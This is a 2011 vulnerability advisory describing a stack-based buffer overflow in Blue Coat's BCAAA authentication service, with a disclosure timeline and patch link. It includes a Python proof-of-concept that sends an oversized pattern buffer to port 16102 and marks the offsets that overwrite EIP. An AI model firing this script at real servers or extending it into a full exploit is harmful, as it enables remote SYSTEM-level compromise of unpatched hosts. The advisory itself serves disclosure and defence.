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Blue Coat BCAAA Remote Code Execution

Blue Coat BCAAA Remote Code Execution
Posted Jul 7, 2011
Authored by Paul Harrington | Site ngssecure.com

The software referred to as BCAAA (Blue Coat Authentication and Authorization Agent) is installed on a domain server (not necessarily a domain controller, a member server is enough) and acts as an intermediary between a Blue Coat ProxySG and the domain. The BCAAA Windows Service is vulnerable to a stack-based buffer overflow, this can lead to remote code execution running with SYSTEM privileges. Affected are all versions of BCAAA associated with ProxySG releases 4.2.3, 4.3, 5.2, 5.3, 5.4, 5.5, and 6.1 available prior to April 21, 2011 or with a build number less than 60258. All versions of BCAAA associated with ProxyOne are also vulnerable.

tags | exploit, remote, overflow, code execution
systems | windows
SHA-256 | 54bac8253d4a2373e84fd3215e027da96d0d0887a6fbb0fdaedba7dac543322f

Blue Coat BCAAA Remote Code Execution

Change Mirror Download
=======
Summary
=======
Name: Blue Coat BCAAA Remote Code Execution Vulnerability
Release Date: 5 July 2011
Reference: NGS00060
Discoverer: Paul Harrington <paul.harrington@ngssecure.com>
Vendor: Blue Coat Systems Inc
Vendor Reference: 2-358686722
Systems Affected: All versions of BCAAA associated with ProxySG releases 4.2.3, 4.3, 5.2, 5.3, 5.4, 5.5, and 6.1 available prior to April 21, 2011 or with a build number less than 60258. All versions of BCAAA associated with ProxyOne are also vulnerable
Risk: High
Status: Published

========
TimeLine
========
Discovered: 10 March 2011
Released: 10 March 2011
Approved: 10 March 2011
Reported: 11 March 2011
Fixed: 4 April 2011
Published: 5 July 2011

===========
Description
===========
The software referred to as BCAAA (Blue Coat Authentication and Authorization Agent) is installed on a domain server (not necessarily a domain controller, a member server is enough) and acts as an intermediary between a Blue Coat ProxySG and the domain.
The BCAAA Windows Service is vulnerable to a stack-based buffer overflow, this can lead to remote code execution running with SYSTEM privileges.

=================
Technical Details
=================
Sending a large buffer to TCP port 16102 causes a stack-based buffer overflow in the bcaaa-130.exe process.

A simple Proof-of-Concept is presented here:

#!/usr/bin/python

import socket
import time

host="10.0.0.1"
port=16102

buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9'

# 1068 overwites ECX
# 1080 overwrites EIP

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
time.sleep(1)
s.close()

===============
Fix Information
===============

Patches can be downloaded from the Bluecoat Knowledge Base:

https://kb.bluecoat.com/index?page=content&id=SA55


NGS Secure Research
http://www.ngssecure.com
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